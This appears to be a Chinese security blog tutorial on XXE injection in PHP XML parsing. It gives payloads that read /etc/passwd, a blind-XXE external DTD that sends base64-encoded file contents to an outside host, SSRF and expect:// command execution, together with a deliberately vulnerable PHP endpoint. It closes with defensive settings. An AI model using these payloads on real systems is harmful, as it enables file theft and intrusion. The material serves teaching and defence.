XXE

XXE漏洞攻击与防御

Posted by sp4rk on July 27, 2017

XXE漏洞是XML外部实体化注入,解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,可造成文件读取、命令执行、ssrf、DDOS等漏洞,外部实体化和DTD的外部实体化方式有关。

0x01 XML,DTD基础

1.教程

XML教程:XML教程 DTD教程:DTD教程

2.DTD外部实体

语法为:
<!ENTITY name SYSTEM "URL/URI">
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE address SYSTEM "address.dtd">
<address>
   <name>sp4rk</name>
   <email>admin@sp4rk.cn</email>
</address>

address.dtd为:
<!ELEMENT address (name, email)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT email (#PCDATA)>

参数实体:
<!ENTITY % ename "entity_value">
<!--entity_value is any character that is not an '&', '%' or ' " -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE address [
    <!ENTITY % name SYSTEM "file:///etc/passwd">
    %name;
]>

0x02 XXE漏洞攻击

1.任意文件读取

在vps上测试下,simplexml_load_string,SimpleXMLElement,DOMDocument类均可触发xml,这里以DOMDocument为例

<?php
    #让php允许外部实体
    libxml_disable_entity_loader(false);

    $xml = file_get_contents('php://input');

    $dom=DOMDocument::loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
    #LIBXML_NOENT:将XML中的实体引用替换成对应的值
    #LIBXML_DTDLOAD:加载 DOCTYPE 中的DTD文件

    $test = simplexml_import_dom($dom);
    #simplexml_import_dom:从DOM节点获取一个SimpleXMLElement对象。
    $user = $test->user;
    echo "test xml external entity: $user";
?>

post xml内容:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<test>
<user>&xxe;</user>
</test>

可以发现成功读取了/etc/passwd 大多数情况下,页面是没有回显的(blind xxe),可以运用php伪协议进行文件读取,我本地测试了很久没测试出来(菜的一批)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ELEMENT test ANY >
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY %dtd SYSTEM "http://sp4rk.cn/test.dtd">
]>
<test></test>

test.dtd为
<!ENTITY %all "<!ENTITY &#x25; mydata SYSTEM "http://sp4rk.cn/?%file">"> %all;

2.ssrf

虚拟机中测试,xml代码如下,本地192.168.199.239监听1234端口

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE ANY [  
<!ENTITY test SYSTEM "http://192.168.199.239:1234">]>
<root>&test;</root>

3.RCE

当开启PHP PECL扩展库中的expect的时候,可以造成命令执行

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "expect://whoami" >]>
<test>
<user>&xxe;</user>
</test>

0x03 xxe漏洞防御

1.禁用xml外部实体

PHP
libxml_disable_entity_loader(true);                          

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤xml外部实体的关键字:

过滤<!DOCTYPE>, <!ENTITY>, SYSTEM 等

参考链接:

浅谈XXE漏洞攻击与防御 XXE漏洞分析 XXE简单学习